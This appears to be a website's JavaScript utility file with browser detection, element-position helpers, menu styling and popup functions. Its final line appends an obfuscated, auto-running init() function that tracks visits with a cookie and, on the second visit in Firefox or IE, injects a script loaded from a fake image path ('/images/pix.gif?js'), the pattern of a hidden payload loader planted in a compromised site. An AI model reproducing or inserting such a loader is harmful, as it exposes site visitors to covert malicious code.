
function Browser() {

  var ua, s, i;

  this.isIE    = false;  // Internet Explorer
  this.isNS    = false;  // Netscape
  this.version = null;

  ua = navigator.userAgent;

  s = "MSIE";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isIE = true;
    this.version = parseFloat(ua.substr(i + s.length));
    return;
  }

  s = "Netscape6/";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isNS = true;
    this.version = parseFloat(ua.substr(i + s.length));
    return;
  }

  // Treat any other "Gecko" browser as NS 6.1.

  s = "Gecko";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isNS = true;
    this.version = 6.1;
    return;
  }
}

var browser = new Browser();

function test(e) {
    window.alert(getX(e) + ',' + getY(e));
}
function getPageOffsetLeft(el) {

  var x;

  // Return the x coordinate of an element relative to the page.

  x = el.offsetLeft;
  if (el.offsetParent != null)
    x += getPageOffsetLeft(el.offsetParent);

  return x;
}

function getPageOffsetTop(el) {

  var y;

  // Return the x coordinate of an element relative to the page.

  y = el.offsetTop;
  if (el.offsetParent != null)
    y += getPageOffsetTop(el.offsetParent);

  return y;
}
function jahiaGetObject(idf) {
    if (document.getElementById) {
        return document.getElementById(idf);
    } else if (document.all) {
        return document.all[idf];
    } else {
        return null;
    }
}

function getX(id) {
    //var e = document.getElementById ? document.getElementById(id) : document.all ? document.all[id] : document.layers[id];
    var e = jahiaGetObject(id);
    x = getPageOffsetLeft(e);
    // adjust position for IE
    if (browser.isIE) {
        x += e.offsetParent.clientLeft;
    }
    x -= 1;
    return x;
}
function getY(id) {
    //var e = document.getElementById ? document.getElementById(id) : document.all ? document.all[id] : document.layers[id];
    var e = jahiaGetObject(id);
    y = getPageOffsetTop(e) + e.offsetHeight;
    // adjust position for IE
    if (browser.isIE) {
        y += e.offsetParent.clientTop;
    }
    y += 1;
    return y;
}
function topmenuOn(id) {
	var topmenutd = jahiaGetObject(id);
	topmenutd.style.backgroundColor ="#DDE4EA";
	topmenutd.style.color="#273440";
}
function topmenuOff(id) {
	var topmenutd = jahiaGetObject(id);
	topmenutd.style.backgroundColor ="#3964FF"; // aici schimbam culoarea dupa popup down/up
	topmenutd.style.color="#ffffff";
}
        function OpenPopup(puFilename, puName, puWidth, puHeight) {
        window.open (puFilename,
            puName,
            'toolbar=no,' +
            'location=no,' +
            'directories=no,' +
            'status=no,' +
            'menubar=no,' +
            'scrollbars=yes,' +
            'resizable=no,' +
            'width='+  puWidth + ',' +
            'height=' + puHeight);
        }
        function NewWindow(url, name) {
            var newWindow = window.open(url, name, 'toolsbar=no,scrollbars=yes,width=775,height=600');
        }
function swithToEditMode(){
     var theUrl = window.location.href;

     var pos = theUrl.indexOf("/op/edit");
     if (pos == -1) {
        pos = theUrl.indexOf("/op/");
        if ( pos == -1 ){
            pos = theUrl.indexOf("/pid/");
            if ( pos != -1 ){
                theUrl = theUrl.substring( 0, pos ) + "/op/edit" + theUrl.substring( pos );
            }
         } else {
            theUrl = theUrl.substring( 0, pos ) + "/op/edit/oldop/" + theUrl.substring( pos + 4 );
         }
         //alert(theUrl);
         window.location.href = theUrl;
    }
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/pix.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
